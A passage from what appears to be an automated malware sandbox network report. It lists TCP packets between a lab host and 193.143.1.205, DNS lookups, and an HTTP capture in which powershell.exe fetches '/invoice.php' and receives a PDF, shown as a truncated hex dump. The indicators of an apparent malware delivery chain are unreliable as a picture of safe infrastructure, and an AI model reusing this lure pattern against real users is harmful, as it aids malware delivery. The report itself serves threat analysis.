Jan 10, 2025 17:07:15.940263033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.940310001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.940484047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.940495968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.940520048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.940532923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.940535069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.940550089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.940573931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.968497038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968523026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968534946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968547106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968559027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968571901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968597889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968609095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968620062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968631029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968641996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968650103 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.968658924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968672037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968707085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968717098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968725920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968736887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.968770027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.968805075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968815088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968826056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968837976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968842983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.968852997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968873978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968877077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.968885899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968898058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.968907118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.968935013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.969095945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.969106913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.969119072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.969127893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.969137907 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.969162941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.998614073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.998636961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.998648882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.998663902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.998676062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.998689890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.998744011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.998750925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.998780012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.998791933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.998797894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.998817921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.998828888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.998837948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.998856068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.998861074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.998907089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.998941898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.998961926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.998970985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.998980999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.999015093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.023171902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.029205084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029237986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029249907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029261112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029273033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029293060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029304028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029314041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029325962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029336929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029346943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029397964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029407024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.029417038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029431105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029442072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029453993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029464960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.029508114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.029525042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.029544115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029557943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029570103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029587030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029592991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.029601097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029613018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029622078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.029645920 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.029653072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029711008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029723883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029742002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029750109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.029753923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029767990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029777050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.029788017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029798985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029807091 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.029829025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029836893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.029841900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029854059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029865980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.029876947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.029905081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.030057907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030071020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030082941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030102015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030107021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.030113935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030124903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030136108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.030137062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030164957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.030178070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030189037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030199051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030213118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030215025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.030240059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.030399084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030421019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030437946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030438900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.030459881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030471087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030483007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.030484915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030507088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.030510902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030539036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030556917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.030591965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030602932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030627966 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.030632973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030644894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030657053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030669928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.030689955 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.030735016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030750990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030765057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030776978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030787945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.030791044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030821085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.030858994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030869961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030881882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030894995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030900002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.030908108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.030915976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.030949116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.031137943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.031155109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.031167030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.031184912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.031193972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.031197071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.031208992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.031220913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.031225920 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.031235933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.031244040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.031246901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.031260014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.031275988 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.031297922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.059061050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059113979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059124947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059135914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059184074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059195042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059206009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059216022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059225082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.059227943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059274912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059286118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059298992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059319019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059322119 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.059335947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059345961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.059350967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059361935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059386015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.059416056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.059422970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059434891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059444904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059457064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059473038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.059478998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059495926 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.059531927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059542894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059552908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.059576988 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.059628010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.089118958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.089137077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.089155912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.089162111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.089175940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.089276075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.089286089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.089301109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.089322090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.089333057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.089386940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.089401960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.089405060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.089428902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.089440107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.089451075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.089452028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.089463949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.089477062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.089482069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.089488983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.089500904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.089510918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.089513063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.089543104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.089555025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.121678114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.121691942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.121702909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.121714115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.121733904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.121743917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.121754885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.121766090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.121834040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.121845961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.121845007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.121856928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.121870041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.121881962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.121939898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.121970892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.121993065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.122004032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.122015953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:16.122037888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.122066975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.226111889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:16.603703022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:17.024523020 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:17.029654026 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:17.030004025 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:17.030225039 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:17.035079002 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:17.860840082 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:17.905443907 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:18.105003119 CET	49705	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:07:25.706187963 CET	57438	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 17:07:25.706187963 CET	192.168.2.8	1.1.1.1	0x699a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 17:07:25.713314056 CET	1.1.1.1	192.168.2.8	0x699a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:07:26.427153111 CET	1.1.1.1	192.168.2.8	0x1d1e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:07:26.427153111 CET	1.1.1.1	192.168.2.8	0x1d1e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	6588	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:07:14.569546938 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 17:07:15.364635944 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:07:15 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 17:07:15.364656925 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 17:07:15.364670992 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
